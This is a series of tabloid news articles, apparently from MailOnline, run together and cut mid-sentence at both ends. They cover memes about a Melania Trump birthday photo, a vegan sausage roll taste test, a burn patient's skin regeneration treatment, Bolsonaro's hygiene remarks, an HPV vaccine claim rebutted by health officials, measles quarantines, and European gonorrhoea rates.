commented: 'All alone and p****d off. Lovely photo to choose of your wife on her birthday.' 'Melania Trump sitting alone while every single person in the room ignores her in favor of someone else... and that's the photo the White House goes with,' another person wrote. 'This is what is meant by "A picture speaks a thousand words.' One Twitter user wondered if the staffers who are in charge of the White House's social media accounts 'really hate her that much.' Going viral: The birthday tribute inspired plenty of memes, including this one that shows Vladimir Putin cuddling up to the first lady Clever: Another shows President Donald Trump's face edited onto the bouquet of yellow flowers that sits on the coffee table in front of Melania Funny: Someone else posted an image of Kellyanne Conway on her knees on the couch alongside a picture from an episode of Seinfeld in which someone peed on Jerry's new sofa What a sight: Another meme shows Melania and Kellyanne sitting on the couch together with a blimp depicting Trump in a diaper between them Brilliant: One Twitter user imagined Kellyanne adjusting the shoulder of Melania's trench coat Smile for the camera! Another shows the White House counselor leaning over to take the first lady's photo with her phone While many agreed that it was a bizarre photo to be shared in honor of someone's birthday, the number of memes it has inspired has brought plenty of people of joy. One clever Twitter user edited the photo to show Putin rubbing elbows with the first lady, a nod to the investigation into Russian meddling in the 2016 presidential election. Another imagined Kellyanne sitting with Melania, using a picture of the White House counselor kneeling on the couch in 2017. The Twitter user posted an image of Kellyanne on her knees on the opposite end of the couch alongside a picture from an episode of Seinfeld in which Jerry is reeling after someone peed on his new sofa. 'Well, the right side has been tarnished,' the person captioned the images. No Ross to her Rachel: Someone else Photoshopped Melania into a scene from Friends' opening credits Star Wars-inspired: Some Twitter users created elaborate scenes that were more comical than realistic Made for the movies: Someone else was inspired by the movie Forest Gump when creating this meme Loving it: People seemed to take delight in Photoshopping the image so Melania would have someone to sit next to Couldn't resist! One person Photoshopped himself into the picture of Melania Added touch: In one doctored snapshot, Trump is wearing a white tank and eating pizza while sitting on the couch next to his wife Say what? Even forlorn-looking Keanu Reeves makes an appearance in one of the memes A similar meme shows Melania and Kellyanne sitting on the couch together with a blimp depicting Trump in a diaper between them. The first lady's husband has been doctored into quite a few memes, though the images are far from flattering. In one Photoshopped snapshot, he is wearing a white tank and eating pizza while sitting on the couch next to his wife. Another shows his faced edited onto the bouquet of yellow flowers that sits on the coffee table in front of Melania. Someone else Photoshopped Melania into a scene from Friends' opening credits, but instead of being surrounded by Rachel, Chandler, Ross, Monica, Joey, and Phoebe, she is alone on the couch. Even forlorn-looking Keanu Reeves makes an appearance in one of the memes. Celebration: Melania (pictured earlier this month) will spend her 49th birthday at a private dinner with Japanese Prime Minister Shinzo Abe and his wife Akie Abe in the White House Annual meeting: The two couples enjoyed a visit at Trump's Mar-a-Lago estate in Palm Beach, Florida, in April of last year Trump has yet to post a birthday message to his wife on social media, though he did send out a mass email asking for one million signatures for her birthday card the day before. 'We all know that Melania is an INCREDIBLE wife, mother, and First Lady. Help me show her how much the American people love her!' he wrote. Last year, Trump admitted during a call with Fox & Friends that he didn't get his wife a birthday present because he didn't have time. 'I got her a beautiful card and some beautiful flowers,' he said. 'I'm very busy to be running out looking for presents, okay?' There is no word if he has gotten her a present this year. Melania will spend her 49th birthday at a private dinner with Japanese Prime Minister Shinzo Abe and his wife Akie Abe in the White House on Friday evening. 'There will be a dinner celebration in the residence. The Abe's will attend,' Stephanie Grisham, the first lady's communications director, told DailyMail.com of Trump's birthday plans. Following the success of Greggs, Tesco has become the latest retailer to release a vegan sausage roll. The new savoury snack landed in stores across the UK this week and is already causing a stir. At just 75p, it is certainly affordable - and even cheaper than Greggs' 1 offering. And while the Greggs roll is 100g, Tesco's pastry is much larger, at a whopping 600g. Tesco's roll is coated with puff pastry, and filled with a soya-based Lincolnshire-style sausage seasoned with sage and onion. But is it tasty enough to impress? Here, eight MailOnline reporters put the sausage roll to the test... Following the success of Greggs, Tesco has become the latest retailer to release a vegan sausage roll. MailOnline's Hayley (left) and Ed (right) were among those who taste tested it The Tesco roll (pictured) landed in stores across the UK this week and is already causing a stir. At just 75p, it is certainly affordable - and even cheaper than Greggs' 1 offering Ed: 2.5/5 'You wouldn't have been able to tell that the sausage roll was vegan. However, the herbs were too overpowering and that really detracted from the overall taste.' Jaden: 3.5 I wouldnt have guessed it was vegan. On the whole, the filling was filling but the pastry could have been flakier. Hayley: 4.5/5 'I have to say I was pleasantly surprised; it looked appetising and the sausage was very flavoursome, quite spicy and herby. 'It didnt taste wildly different to the meat version, minus the usual gristly bits, which was a bonus. 'The pasty was also deliciously crispy and the roll would have been a mega tasty snack with a dollop of ketchup. As a meat eater, Id buy it!' Both Jaden (left) and Jo (right) agreed that they were pleasantly surprised by the vegan treat - but disagreed on the level of flakiness from the pastry Jo: 4/5 'Actually pleasantly surprised by thisits clearly not sausage but it did a pretty good impression of it, with a good, meaty flavour. 'The pastry, which was suitably flaky, I would have struggled to tell it didnt contain dairy at all.' Harriet: 5/5 'A deliciously light sausage roll, this pastry has a delicious peppery taste and would be perfect for a picnic in the park. As a vegetarian, I have been partial to treating myself to a vegan sausage roll from Greggs in the past. 'But I'm pretty sure I'm enjoying this one is packed with a little more flavour. I'd definitely like to try this again.' Harriet (left) and Bryony (right) both gave the sausage roll rave reviews, with an impressively strong 5/5 from both testers Bryony: 5/5 Dare I say it but this vegan sausage roll was really good. I couldnt really taste that it was different and the pastry was really light and crispy. Id definitely have this again - and can imagine it would be even better with a bit of sauce. Sarah: 4/5 I was a hesitant to taste the sausage roll as it just seemed like they were jumping on the bandwagon, but it really surprised me. The pastry was really flaky and melted in my mouth it wasnt greasy like other sausage rolls. While the vegan sausage was really light and peppery I would eat it again. Sarah (left) and Bridie (right) were also impressed by the roll, with both giving it a strong 4/5 rating and saying they would buy the tasty pastry again Bridie: 4/5 'It was really nice! Quite light and not too stodgy which some sausage rolls are. The sausage itself was a really nice texture but not as flavoursome as most veggie sausages (like Quorn and Linda McCartney). 'The pastry was a little too flakey I think you could tell it was vegan more than the actual sausage. 'Not quite as nice as Greggs but I would definitely buy as a little treat now and again! Mother-of-three Natasha Williams was sitting in the bedroom of her terminally ill best friend, Tiffany Walker, in January 2018 when they started to smell smoke. A fire had started in the living room, set off by a candle that had tipped over, caught on a curtain, and quickly erupted into ceiling-high flames and thick smoke. Walker, though young at 40 years old, was weak with stage 4 cervical cancer. Williams grabbed her arm and the two of them hobbled, forced to walk into blaze to get out the door. In the process, Williams passed out, and she remembers Walker's hand slipping out of hers. She deliriously woke up lying in the middle of the road, 75 percent of her skin burned off, with firefighters over her asking if there was anyone else inside. She passed out again, waking up in the hospital, where she was told Walker didn't make it. As Williams grieved, doctors spent weeks trying to patch up her searing wounds with skin grafts, but they were struggling to find enough skin to cover all that was lost. Eventually, a doctor on her team suggested trying a new, emerging method that stimulates skin cells to regrow. To Williams' surprise - and many of the doctors, who did not have much experience with this new technology - it was effective. Williams had to relearn how to walk, talk, write and use her fingers in grueling physical therapy sessions. In an exclusive interview with DailyMail.com, Williams discusses the sadness at learning that her best friend hadn't survived the fire, her amazement at seeing her burn wounds covered, and how her treated areas feel 'just like normal skin'. Natasha William, 46, from Tampa, Florida, has undergone radical treatment that can regenerate skin to treat her burn wounds. Pictured: Williams (center) with her daughter, Ke-Ziah Fletcher (right), and son, Xavier Johnson (left) Williams had 75 percent of her body burned in a house fire in January 2018 but her best friend, Tiffany Walker (pictured), lost her life Doctors at Tampa General Hospital said there was an 85 to 90 percent chance Williams would die. She was rushed into emergency surgery and fought her life for the first few weeks. Pictured: Williams being attended to at the scene of the fire On the morning of the fire, Williams had gone to church and then to the jewelry store Pandora to get a charm for a bracelet for Walker. 'We were sitting there talking in the bedroom and putting pendants on our bracelets and her mom came to the door of the bedroom and yelled: "The house is on fire!",' Williams said. Finding out that Walker didn't make it spent Williams into a spiral, devastated and ashamed. THE COST OF BURN CARE Roughly every % of the body burned equals another day in the hospital. It can be anywhere from $3,000 to $10,000 a day. Advertisement Local news reports and Williams's friends were calling her a hero for trying to get Walker out of the house. 'I didn't want to be called a hero because a hero is a person that saves people, and I didn't save her,' Williams said. Paramedics rushed Williams to Tampa General Hospital, where doctors determined that 75 percent of her body had been burned. Dr David Smith, director of the hospital's burn center, said Williams had also suffered damage to her respiratory tract and lung tissue from inhaling so much smoke - which worsened her prognosis. 'Historically, mortality would have been 100 percent,' Dr Smith, who was on Williams's care team, told DailyMail.com. 'Predicted mortality for Natasha was 85 to 90 percent.' Williams was intubated and rushed into emergency surgery to remove the dead tissue so it wouldn't cause infection and to stabilize her. During her time in the ICU, she developed septic shock, acute respiratory distress syndrome - a condition in which fluid collects in the lungs' air sacs and deprives organs of oxygen - and acute kidney injury. 'During the first couple of months of treatment, there were several episodes where we thought we lost her a couple of times,' Dr Smith said. Williams's medical team performed skin grafts, but there was not enough healthy skin to cover her burn wounds. Pictured: Williams's legs before being treated For burns like the ones Williams had, the traditional treatment is split-thickness skin grafting, which involves taking the top layer of healthy skin from a healthy area of the body and transplanting it to the damaged areas. But 75 percent of Williams's body was burned, meaning there wasn't enough healthy skin to close her burned area. So doctors used the conventional method for her upper extremities and her chest. Dr Smith said there were other traditional ways to cover the burned areas of her leg, such as artificial skin, but he remembered reading about a product known as SkinTE. Made by Utah-based company PolarityTE, the product claims to be the first able to regenerate full-thickness skin. Founder and CEO Dr Denver Lough, who left his plastic surgeon residency at Johns Hopkins Hospital in Baltimore to start the company, said the product can essentially replace a traditional skin graft. 'If you look at your hand, you see a small shaft of hair. At the bottom of that shaft exists a group of cells, stem cells, in a cluster,' he told DailyMail.com 'The cells in that cluster have the potency to regenerate that hair shaft.' Doctors use PolarityTE's kit to harvest from their patient a sample of full-thickness skin that contains the outer layer (epidermis) and the layer that has hair follicles, sweat glands, nerve endings and other structures (dermis). That sample is sent to the company, which separate the cells at the bottom of the hair follicle into several groups of cells. 'If you can get them to proliferate, that will form new layers of skin because they have tissue memory,' Dr Lough said. THE SIX R'S OF BURN CARE 1) Rescue Removing the patient from the source of injury; getting them to the hospital safely; and triage 2) Resuscitation Clinically ill patients, with 20% or larger burns, need some kind of resuscitation. With burns, theres inflammation and you can go into multi-organ failure. We usually put them on life support and this can last 1-2 weeks. 3) Resurfacing Removing damage tissue and burn wounds. We do about 10 percent of the body at a time. Will begin to cover areas (from cadavers or from pigs). 4) Rehabilitation This is when we do splinting to prevent contractures. Occupational and physical therapy so they can become more self-sufficient 5) Reconstructive Managing burn scar tissues; releasing contractures from joints; fat grafting for burn scars; and peripheral nerve surgery for nerve pain 6) Recovery How can we get them back to work/school/church, etc.? Managing chronic pain, physiological care, social work Phases may overlap and thats why we have burn centers that can provide all six phases, not just one or two Advertisement The technique is part of a growing swell of attempts to innovate in burn and skin care, Dr C Scott Hultman of Johns Hopkins Burn Center, who has no connection to SkinTE, told DailyMail.com. 'The ability to grow skin has been a quest for people in clinical care for decades,' Dr Hultman said. 'We could culture plates of skin in the 80s, but that was proven to be too expensive. 'No one has been able to crack this code. We can 3-D print organs, but weve not been able to grow skin. 'The promise of this product is the ability to get wounds closed in situ [i.e.: in the patient]. With skin grafts, you biopsy it and often place it back on 10 to 15 days later. 'So this has the potential to be life saving. The attractive thing is that it can grow sweat glands and hair follicles. Currently, theres no way to do that.' But he warns it's early days, more evidence is needed before it's endorsed on a national level, and he's not sure it would be cost effective universally. 'Everyone is watching this product closely,' Dr Hultman said, 'but right now we just have case reports. For large burn wounds, if theres not enough skin to cover and there are no other alternatives, it has the potential to be life saving. 'With these newer technologies, some will end up working. We just dont know which ones.' For Williams and her doctors, there was little to lose, and they were willing to take the chance. Before Dr Smith, from Tampa General, could give the go-ahead, he had to get permission from Williams's family. Her daughter, Ke-Ziah Fletcher, 22, told DailyMail.com that she got a call from a friend telling her about the fire and raced to the hospital. 'She was all swollen, she didn't look like herself,' she said. 'I almost fainted and I burst out crying.' In late February, seven to eight weeks after Williams first arrived in the hospital, the medical team presented the family with the idea of trying SkinTE. 'My older sister didn't want to do it, but, after they explained to me how it works, I told her: "This is new technology. If it could help save our mom, maybe we should try it", Fletcher said. About two days later, Williams's family gave the green light for SkinTE to be used on her. Doctors took a sample of skin from her abdomen and sent it to PolarityTE's lab. About 48 hours later, they received seven centimeters of skin tissue. Dr Smith said they separated the tissue in two pieces, diluted them with saline and applied it directly to Williams's wounds. Just like with a traditional skin graft, they applied dressings to keep it moisturized. One of her physicians recommended a new product, SkinTE, which regrows functional, full-thickness skin using cells at the bottom of shafts of hair that have stem-cell like properties. Pictured: Williams's legs 66 days after SkinTE treatment, April 2018 The product was applied to Williams's legs in February 2018 and she was discharged from the hospital in April 2018. Pictured: Williams's legs further into the healing process, February 2019 Dr Smith explained that the skin-grafted areas will always be a different color than the healthy skin on her legs because the skin used for the graft came from her stomach. 'It's very pale because the abdomen is lighter than anywhere on her body and has fewer pigment cells,' he said, referring to the area which was skin-grafted, compared to the rest which will re-pigment over time. Williams didn't see her legs for the first three months that she was in the hospital because doctors kept them wrapped in dressings to prevent infection and speed up the healing process. 'I didn't see my legs when they were all pink and red, but I was blown away when I saw them,' she said. 'I thought: "Thank you God. Thank you God for keeping me alive".' Williams started walking again about three weeks before she was discharged from the hospital. Areas of Williams's legs treated with the product now have blood vessels, sweat glands, some nerves, just like healthy skin. Pictured: Williams with her grandson in December 2017, before the accident 'It was difficult. They taught me how to write, how to talk, how to use my fingers again,' she said. She went home in April 2018, eight weeks after she received the SkinTE treatment. Within a week, she was walking without a walker. Her daughter, Fletcher, says Williams can now bend her arms and legs all the way, she can write, and she can walk up and down stairs. Williams said she feels no pain except in her right foot if she stands for a long time or walks a long distance. Dr Smith, from Tampa General, says that the SkinTE-treated areas didn't show 'well-defined skin elements' for several months, but that changed when they performed a biopsy in December 2018. 'We started to get really excited. There was well-defined collagen, epidermis, blood vessels, sweat glands, some nerves,' he said. 'For all intents and purposes, it was skin. When you put it between your fingers, it has an elasticity to it.' Williams said that although it took her a long time to be comfortable with her scars and her skin being different shades, she said she now feels very confident showing off her legs. 'I feel like I am a living miracle,' she said. 'I want other people who've been burned to know that you don't need to be ashamed of your scars.' Brazil's President claims 1,000 men undergo penis amputations every year in the South American country due to a lack of basic hygiene. Jair Bolsonaro, a former army captain, called the state of affairs 'ridiculous and sad' in a press conference in Brasilia after visiting the Education Ministry. The Brazilian Urology Society confirmed the figure, adding some men are forced to have their genitals removed due to untreatable infections, as well as cancer and complications of HIV. Brazil's President Jair Bolsonaro called the figure 'ridiculous and sad' in a press conference in Brasilia after visiting the Education Ministry. He is pictured during the open ceremony of the 22nd conference of the march in dense of the municipalities in Brasilia on April 9 'In Brazil, we have 1,000 penis amputations a year due to a lack of water and soap,' Bolsonaro said. 'We have to find a way to get out of the bottom of this hole.' Bolsonaro did not specify the source of the figure, however, it has been quoted in local news magazines as far back as 2017. He added his government must start to work with vulnerable men to make them more aware of the dangers of poor hygiene. Genital hygiene is 'perhaps the most important factor in preventing penile cancer in uncircumcised men', according to the American Cancer Society. Studies have shown men who have their foreskin removed are less at risk of the disease. This is thought to be due to circumcision preventing the build-up of the substance smegma. Penis cancer is a rare disease that affects just one in 100,000 men in North America and Europe, according to the Dana-Farber Cancer Institute. Treatment depends on the size of the affected area and the rate the tumour has spread. WHY WOULD A PENIS NEED TO BE AMPUTATED? Part or all of the penis may need to be amputated if a man develops advanced cancer of the genitals. Penis cancer is a rare disease that affects just one in 100,000 men in North America and Europe, according to the Dana-Farber Cancer Institute. Treatment depends on the size of the affected area and the rate the tumour has spread. Surgery is one of the main treatment options, and involves removing the cancerous cells and possibly some of the surrounding tissue. If the cancer is stage 1, defined as a relatively small tumour that is contained within the organ it started in, a man may just have to have his foreskin or part of his penis removed, Cancer Research UK reports. But if it has advanced to stage 3 or 4 - when the tumour is large and has spread - the patient will usually have to have part or even all of his penis amputated. Between 1.2 and 1.4 in every 100,000 men developed penis cancer in England in 1990-to-2009, of which 11 per cent had a total genital amputation, a study revealed. US figures are unknown. Genital hygiene is 'perhaps the most important factor in preventing penile cancer in uncircumcised men', according to the American Cancer Society. Studies have shown men who have their foreskin removed are less at risk of the disease. This is thought to be due to circumcision preventing the build-up of the cheesy-looking substance smegma. Poor hygiene also increases the risk of infections anywhere on the body if it allows dangerous bacteria and viruses to enter via wounds. And if the infection becomes gangrenous, amputation is often the only option. Advertisement Surgery is one of the main treatment options, and involves removing the cancerous cells and possibly some of the surrounding tissue. If the cancer is stage one, defined as a relatively small tumour that is contained within the organ it started in, a man may just have to have his foreskin or part of his penis removed, Cancer Research UK reports. But if it has advanced to stage three or four - when the tumour is large and has spread - the patient will usually have to have part or even all of his penis amputated. Between 1.2 and 1.4 in every 100,000 men developed penis cancer in England in 1990-to-2009, of which 11 per cent had a total genital amputation, a study revealed. US figures are unknown. Poor hygiene also increases the risk of infections anywhere on the body if it allows dangerous bacteria and viruses to enter via wounds. And if the infection becomes gangrenous, amputation is often the only option. HIV complications may also lead to a penis amputation if an infected ulcer, which is often an early sign of the virus, goes untreated. Bolsonaro is celebrated by his supporters for being a 'man's man', but has sparked outrage following years of racist comments. He is also quoted as saying 'yes, Im homophobic - and very proud of it'. Earlier today, Bolsonaro sparked an immediate backlash from the LGBT community when he said Brazil must not become a 'gay tourism paradise'. 'If you want to come here and have sex with a woman, go for your life,' Crusoe reported. '[But] Brazil can't be a country of the gay world, of gay tourism. We have families.' Bolsonaro even once said he would rather have a dead son than a gay one. And he told the British actor Stephen Fry, who is openly gay, 'Brazilian society doesnt like homosexuals.' He went on to accuse 'homosexual fundamentalists' of brainwashing children to 'become gays and lesbians to satisfy them sexually in the future'. But it is not just the LGBT community Bolsonaro has offended. He once told a female lawmaker she was too ugly to rape, and said the birth of his daughter, after having four sons, was a 'moment of weakness.' Bolsonaro also made global headlines in March when he shared a video showing one man urinating on another during Brazil's famous annual street carnival. 'What is a golden shower?' he tweeted the day after posting the video, in which a barely dressed party-goer writhes atop a bus shelter, before bending over so another man can urinate on his head. Critics claim Bolsonaro's tweets demonstrate he is more focused on riling people than building consensus in Congress for necessary reforms, such as an overhaul of the country's budget-busting pension system. A teenager whose family believe the HPV vaccine left her paralysed are trying to raise 10,000 for private mental health therapy. Ruby Shallom, 18, had the jab five years ago as part of the NHS's cervical cancer programme and then allegedly developed FND - functional neurological disorder. She gradually lost feeling in her whole body and became paralysed by 2016, which left her wheelchair-bound and unable to move anything but her left arm. Miss Shallom is still unable to walk and her mental health nosedived this year, amid an ongoing battle with depression that saw her try to kill herself. After receiving NHS treatment, Miss Shallom began receiving private therapy this month costing 790 a night. Parents Aron and Nicola Shallom, from Bracknell, fear it's their daughter's last hope but their funds have run low. The HPV vaccine is regarded as safe by health officials, and Miss Shallom's specialist believes her FND could have been triggered by emotional trauma after watching her sister battle cancer as a child. Ruby Shallom's family are trying to raise 10,000 for private mental health therapy believing that the HPV vaccine left her paralysed and wheelchair-bound. Pictured recently Miss Shallom, of Bracknell, had the HPV vaccine five years ago and then developed FND - functional neurological disorder. Pictured aged 12, left and right She gradually lost feeling in her whole body and had become paralysed by 2016 - she couldn't move anything but her left arm Miss Shallom was admitted to Prospect Park Hospital in Reading, an NHS mental health clinic, and was treated by a psychiatrist for one week. The Shalloms paid for a transferral to Priory Hospital Woking, a private facility which provides treatment as well as therapy, after attempting suicide. Her parents have been able to afford the expensive private clinic, which charges around 790 a night, thanks to their health insurance with WPA. However, their 15,000 quota runs out today, April 26, and Miss Shallom will be discharged on Saturday unless enough money can be raised to prolong her treatment. With chronic pain and fatigue plaguing her every day, Miss Shallom said: 'I guess the trauma of everything I've been through has caught up with me. Miss Shallom added: 'At Prospect Park I think I would only get worse and I don't really know what it would be like if I just went home - or if I can even go home. 'If I went home I could still be a danger to myself and I would have to have a carer come in two or three times a day just to check up on me.' Miss Shallom added: 'I feel low all the time - Im not coping at the moment.' Her family are now appealing for the public to make donations as they raise money to keep her at the Priory. Mr Shallom said: 'She's not well enough to come home - and we don't want to put her on the NHS which won't keep her safe and not simply make her better. 'We've been through some tough times - we're dealing with this as best as we can.' Miss Shallom has been receiving private mental health therapy this month costing 790 a night. Pictured aged 18 WHAT ARE FUNCTIONAL NEUROLOGICAL DISORDERS? Functional neurological disorders (FND's) is the name given for symptoms in the body which appear to be caused by problems in the nervous system but are not caused by a physical neurological disease. Health professionals sometimes call these disorders medically unexplained, psychosomatic or somatisation. They prefer the term functional which just means that the body is not functioning quite as it should. FNDs are quite common, occurring in about one quarter of the patients we see in our neurology clinics. For most people these symptoms are short-lived, but for others they persist for months or years and are very disabling. Symptoms tend to change with time, and as a result patients may often repeatedly consult their doctors. Many doctors also find these conditions puzzling, and patients may become frustrated by the shortage of information about why these symptoms occur. Source: Sheffield Teaching Hospitals NHS Foundation Trust Advertisement Miss Shallom was given a triple vaccination in two month intervals during 2014 to protect against the risk of contracting the HPV infection, which can cause cervical cancer. The HPV vaccine, Gardasil, is routinely offered to 12-13 year-old girls as part of the NHS' cervical cancer programme. Health authorities around the world, including the World Health Organization, have extensively reviewed the vaccine and have concluded it is safe. But HPV vaccinations rates have plummeted globally - to as low as one per cent in some countries - due to largely unfounded fears that the jab causes disability. In the following two years after her HPV vaccine, Miss Shallom became extremely sick, lost her appetite, fainted repeatedly while she battled debilitating chronic headaches, fatigue, intense abdominal and chest pains. Miss Shallom noticed that she had difficulties walking from December 2015 as she dragged her feet behind her - and a month later, she was using crutches. In May 2016, her condition deteriorated further as she became so weak she couldn't walk at all - and developed total numbness from the waist down. She began to display gastrointestinal symptoms and swollen glands too, and she was rushed to Frimley Park Hospital, where she was diagnosed with incontinence. Miss Shallom was hospitalised for six weeks and woke up one morning with a crushing pain in her right arm which left her incapable of even wiggling her fingers. By the end of the day, her back muscles 'gave way' and the paralysis spread through her whole body apart from her left arm. With money running out, parents Aron and Nicola fear their daughter, pictured aged 12, will kill herself if she has to leave private therapy and treatment Over the following two years since her HPV vaccine, Miss Shallom became extremely sick, losing her appetite and fainting repeatedly while she battled debilitating chronic headaches and fatigue Too weak to support herself on a zimmer frame, Miss Shallom became wheelchair-bound. She was diagnosed with FND, neurological symptoms which affect the functioning of the body, at St George's Hospital in July 2016. Now at her physically fittest since 2014, Miss Shallom can walk up to 20 metres in one spurt without aid or stopping. Though she made a steady bodily recovery, her mental health took a nosedive this year. In March, Miss Shallom was admitted to Prospect Park Hospital but was transferred to Priory Hospital Woking earlier this month for 19 nights, where she has received extensive group and one-on-one therapy. Lou Dossett, a family friend who used to teach Miss Shallom when she attended St Joseph's Primary School, set up a crowdfunding page on 19 April, and has raised nearly 2,200 of a 10,000 target from public contributions. In May 2016, Miss Shallom became so weak she couldn't walk at all and developed total numbness from the waist down. Pictured aged 17 in hospital due to her condition Miss Shallom's specialist believes her FND could have been triggered by the emotional trauma for sister's battle with Hodgkin lymphoma Miss Shallom, pictured aged 12, said: 'I feel so trapped' Miss Shallom, whose depression becomes more pronounced at nighttime when her therapy has finished, said it would mean the world to her and her family if she could stay on in a private capacity. She said: 'There's no particular trigger for it really - it just seems to be around five or six o'clock and then gradually gets worse. 'I feel so agitated, and shaky - I can't keep still, I'm on edge. 'At Priory, there's lots of therapy and everyone has been lovely. 'I have made lots of friends with mental illness too - just talking to people has been therapeutic and done more good than constant medication. 'I can't have any of that without the treatment as well as the therapy offered by Priory because without the therapy I just can't get better. 'This is my only hope - it'd mean so much to me if I stayed here, and it would only need to be for a few more weeks, I would imagine.' In a letter dated 14 July, the specialist who met Miss Shallom and her mother at St George's Hospital in July 2016 refuted any causal link between the vaccine and and disability. He explained - though Miss Shallom's condition was real and not imagined - her central nervous system was intact and not damaged after the triple HPV vaccination. The specialist speculated that FND has in the past been caused by severe emotional stress. He suggested Miss Shallom's sister Evie's long-term battle with Hodgkin lymphoma - a cancer for which she's had four rounds of chemotherapy and a bone marrow transplant from her brother Oliver - could have been an underlying trigger. He said: 'Nicola expressed an understandable concern that the HPV vaccine might have damaged her nervous system in some way leading to her current symptoms. 'I explained that this could not be an explanation for the type of weakness and test results that she has because if damage had occurred to the nervous system by any cause, it would not be the case that muscle activation could occur with different examination manoeuvres, nor that her test results would be normal as they are. 'We discussed that historically functional symptoms have been viewed, perhaps rather simplistically, as reactions to psychological stress and difficulty.' Public Health England and MHRA said in a joint statement: 'The HPV vaccine is the most effective way for young girls and women to protect themselves against cervical cancer. 'Cervical cancer is the most common cancer among women under the age of 35. Every year around 900 UK women, almost all in age groups not protected by the vaccine, die from this cancer. 'Most women aged 15 to 25 years old in the UK have now received the vaccine and millions more have been vaccinated worldwide. 'As with all vaccines, the safety of the HPV vaccine is under constant review. Every report of a suspected side effect is taken seriously. 'Health authorities around the world, including UK experts, the World Health Organisation, the US Centre for Disease Control and the European Medicines Regulator have recently extensively reviewed the vaccines safety and have concluded that there is no credible evidence of a link between the HPV vaccine and a range of chronic illnesses.' You can donate to Miss Shallom's JustGiving page here. More than 100 university students and staff have been quarantined in Los Angeles because of a measles outbreak. University of California, Los Angeles (UCLA) and California State University, Los Angeles (Cal State) has ordered 200 people to stay at home. UCLA, where a student has been diagnosed with measles, has reduced its order - at first fearing hundreds of people may be unvaccinated and exposed, before saying fewer than 50 may be quarantined for not being vaccinated. The drastic actions comes as the worst measles outbreak for a quarter-century is gripping the US, with almost 700 people infected already in 2019. An student with measles attended classes at UCLA (pictured) on three days in April and may have exposed hundreds of others to the virus, officials say A total of 156 people at Cal State were unable to prove they had been vaccinated against measles so have been ordered to stay away from campus. One student with measles at UCLA and 'fewer than 50' staff and students who have yet to provide evidence of vaccinations faced the same treatment. In a statement on the college's website, UCLA chancellor Gene Block said experts at the university were working with health officials to monitor the situation. The infected patient is thought to have been contagious when they attended classes in Franz Hall and Boelter Hall buildings April 2, 4 and 9. Dr Block said: 'Considering the time that has elapsed since the last possible exposure to the individual with measles on April 9, the highest risk period for developing measles has already passed and the period during which symptoms may appear is nearing the end. 'I know there is concern about measles, particularly among the very small percentage of our community who have not been vaccinated. 'Please be assured that we have the resources we need for prevention and treatment, and that we are working very closely with local public health officials on the matter.' A total of 156 people at Cal State University (pictured) have been quarantined as a precaution because they couldn't prove they had been vaccinated against measles WHAT IS MEASLES? Measles is a highly contagious viral infection that spreads easily from an infected person by coughing, sneezing or even just breathing. Symptoms develop between six and 19 days after infection, and include a runny nose, cough, sore eyes, a fever and a rash. The rash appears as red and blotchy marks on the hairline that travel down over several days, turning brown and eventually fading. Some children complain of disliking bright lights or develop white spots with red backgrounds on their tongue. In one in 15 cases, measles can cause life-threatening complications including pneumonia, convulsions and encephalitis. Dr Ava Easton, chief executive of the Encephalitis Society told MailOnline: 'Measles can be very serious. '[It] can cause encephalitis which is inflammation of the brain. 'Encephalitis can result in death or disability.' Treatment focuses on staying hydrated, resting and taking painkillers, if necessary. Measles can be prevented by receiving two vaccinations, the first at 13 months old and the second at three years and four months to five years old. Source: Great Ormond Street Hospital Advertisement Measles, a highly infectious virus, tends to cause symptoms including a cold-like illness, fever, white spots in the mouth and a blotchy rash within 10 days. The US has recorded 695 cases of measles already this year, according to the Centers for Disease Control and Prevention (CDC) the highest in the same period for 25 years. Most of these have been in New York (around three quarters of all cases) and Washington, with 38 confirmed in California. According to a CDC report released on Monday, measles has been reported in 22 states already this year. This week, officials in Southern California warned they expect more measles cases to come after confirming five in Los Angeles. And officials in Northern California warned of a potentially large outbreak after a man with measles went to the cinema in Redding, just north of Sacramento. More than 76 per cent of California patients were people who had not been vaccinated, and anti-vaccine sentiment is believed to be to blame for rising rates. A rise in measles in the US is coinciding with soaring rates around the world globally, there were 300 per cent more cases in the first quarter of 2019 than the same period in 2018. There were around 112,000 patients recorded in January, February and March, up from 28,000 last year. Anti-vaxxers, who avoid vaccines because of inaccurate fears the jabs don't work, are harmful, or could cause autism, are believed to be driving this rise. A report by children's charity UNICEF this week revealed 2.6milllion American children were not given their first MMR vaccine between 2010 and 2017. This was alongside 287,000 in Canada, 608,000 in France and 527,000 in the UK. Head of the NHS in England, Simon Stevens, said: 'It is grossly irresponsible for anybody to spread scare stories about vaccines.' Gonorrhoea cases shot up by 13,000 across Europe last year as figures show the UK continues to be the continent's clap capital. Reports of the STI rose by 17 per cent in 2017 to almost 90,000, in what one expert has called an 'epidemic' and more than half of them happened in the UK. There are now 22.2 cases of gonorrhoea per 100,000 people in the EU, the worst rate for at least four years. And the UK's rate is more than three times as bad, with 74.7 in every 100,000 people diagnosed with the painful sexually transmitted infection. One European expert said the new figures are just the tip of the iceberg and don't show the true scale of the issue. Another told MailOnline the rising popularity of online dating and apps, such as Tinder and Grindr, could be fuelling an increase in unprotected casual sex. The UK had almost 50,000 cases of gonorrhoea in 2017, making up 55 per cent of the continent's total and adding up to more than five times as many as second-placed France There were 49,156 cases of gonorrhoea confirmed in the UK in 2017, making up 55 per cent of the European total of 89,239. Britons having sex without condoms have left the nation with more gonorrhoea infections than all other European countries combined. Second to the UK was France which, despite having about the same population as the UK, had just 9,177 recorded gonorrhoea diagnoses. The figures were released in an annual surveillance report published by the European Centre for Disease Prevention and Control. ECDC expert Gianfranco Spiteri said: 'We have to bear in mind that the numbers we see do not even show the true extent of the gonorrhoea epidemic in Europe. 'Many infections are not diagnosed due to lack of symptoms or limited access to diagnostics or simply are not reported.' Figures revealed by the European Centre for Disease Prevention and Control show the UK has the highest rate of gonorrhoea, which more than 74 cases per 100,000 people, followed by Ireland (47) and Denmark (33) The report showed cases of the common STI soared by 51 per cent between 2013 and 2017, from around 60,000, or around 14.5 per 100,000 people. Among 27 EU and EEA (European Economic Area) countries compared in the report, Cyprus had the lowest rate of the infection, with just two officially recorded cases 0.2 per 100,000 people. WHAT IS GONORRHOEA? Gonorrhoea is a sexually transmitted infection (STI) caused by the bacteria Neisseria gonorrhoeae or gonococcus. This bacteria is usually found in discharge from the penis or vaginal fluid. It is passed through unprotected vaginal, oral or anal sex, as well as sharing vibrators or sex toys that have been used without a condom. The bacteria can infect the cervix, urethra, rectum, throat or eyes. It can also spread from pregnant women to their unborn babies. As the bacteria cannot survive outside the body for long, gonorrhoea is not spread by 